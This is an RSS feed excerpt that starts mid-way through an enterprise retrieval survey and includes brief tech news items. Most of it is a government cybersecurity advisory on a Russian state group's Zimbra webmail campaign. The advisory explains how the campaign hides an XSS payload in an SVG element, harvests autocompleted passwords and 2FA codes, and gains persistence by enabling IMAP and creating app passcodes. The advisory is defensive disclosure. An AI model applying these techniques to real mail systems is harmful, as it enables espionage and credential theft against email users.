industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung just fixed the foldable phone — now Apple can make it cool]]></title>
<description><![CDATA[The new Samsung Z Fold 8 Ultra is the best folding phone I've seen, but I'm waiting to see what Apple does in the same space.]]></description>
<link>https://tsecurity.de/de/3689664/it-nachrichten/samsung-just-fixed-the-foldable-phone-now-apple-can-make-it-cool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689664/it-nachrichten/samsung-just-fixed-the-foldable-phone-now-apple-can-make-it-cool/</guid>
<pubDate>Thu, 23 Jul 2026 18:17:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new Samsung Z Fold 8 Ultra is the best folding phone I've seen, but I'm waiting to see what Apple does in the same space.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI is spending $30 billion on a new mega 3.2 GW data center in Georgia — and it's trying really hard to quell local opposition]]></title>
<description><![CDATA[OpenAI really wants to avoid the local opposition seen at other data center projects, and is willing to offer commitments to the locals to ensure its campus gets built.]]></description>
<link>https://tsecurity.de/de/3689471/it-nachrichten/openai-is-spending-30-billion-on-a-new-mega-32-gw-data-center-in-georgia-and-its-trying-really-hard-to-quell-local-opposition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689471/it-nachrichten/openai-is-spending-30-billion-on-a-new-mega-32-gw-data-center-in-georgia-and-its-trying-really-hard-to-quell-local-opposition/</guid>
<pubDate>Thu, 23 Jul 2026 17:18:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI really wants to avoid the local opposition seen at other data center projects, and is willing to offer commitments to the locals to ensure its campus gets built.]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Resident Evil movie trailer has lots of fun nods to the games]]></title>
<description><![CDATA[The film, from Weapons director Zach Cregger, hits theaters on September 18.]]></description>
<link>https://tsecurity.de/de/3689442/it-nachrichten/the-latest-resident-evil-movie-trailer-has-lots-of-fun-nods-to-the-games/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689442/it-nachrichten/the-latest-resident-evil-movie-trailer-has-lots-of-fun-nods-to-the-games/</guid>
<pubDate>Thu, 23 Jul 2026 17:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The film, from Weapons director Zach Cregger, hits theaters on September 18.]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
